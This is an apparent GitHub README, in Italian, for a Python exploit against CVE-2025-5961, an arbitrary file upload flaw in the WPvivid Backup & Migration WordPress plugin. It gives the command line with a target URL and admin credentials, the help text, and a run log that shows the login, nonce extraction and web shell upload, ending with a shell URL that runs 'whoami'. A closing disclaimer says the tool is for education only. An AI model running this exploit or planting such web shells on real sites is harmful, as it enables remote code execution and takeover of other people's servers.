
Migrazione, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Autenticato (Amministratore+) Caricamento Arbitrario di File
📈 Questa vulnerabilità riguarda un plugin con oltre 700.000+ installazioni
Il plugin Migration, Backup, Staging – WPvivid Backup & Migration per WordPress è vulnerabile al caricamento arbitrario di file a causa della mancata validazione del tipo di file nella funzione wpvivid_upload_import_files in tutte le versioni fino alla 0.9.116 inclusa.
Ciò consente ad attaccanti autenticati (livello Amministratore o superiore) di caricare file arbitrari sul server, consentendo potenzialmente l'esecuzione remota di codice.
Questo repository contiene uno script di exploit per CVE-2025-5961, scritto in Python, che:
python3 CVE-2025-5961.py -u http://target/wordpress -un admin -p password123
$ python3 CVE-2025-5961.py -h
usage: CVE-2025-5961.py [-h] -u URL -un USERNAME -p PASSWORD
CVE-2025-5961 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL
-un, --username USERNAME
Admin username
-p, --password PASSWORD
[+] Checking plugin version...
[+] Detected plugin version: 0.9.116
[+] Target is vulnerable. Continuing exploit.
[+] Logging in to http://target/wordpress...
[+] Logged in successfully.
[+] Fetching WPvivid page to extract nonce...
[+] Extracted nonce: 502d5dce0e
[+] Uploading shell...
[+] Exploit succeeded!
[+] Shell URL: http://target/wordpress/wp-content/wpvividbackups/ImportandExport/shellnxploited.php?cmd=whoami
Exploit By: Khaled Alenazi (Nxploited) - https://github.com/Nxploited/
Questo script è fornito solo a scopo educativo e di ricerca.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Khaled Alenazi (Nxploited)
🌐 GitHub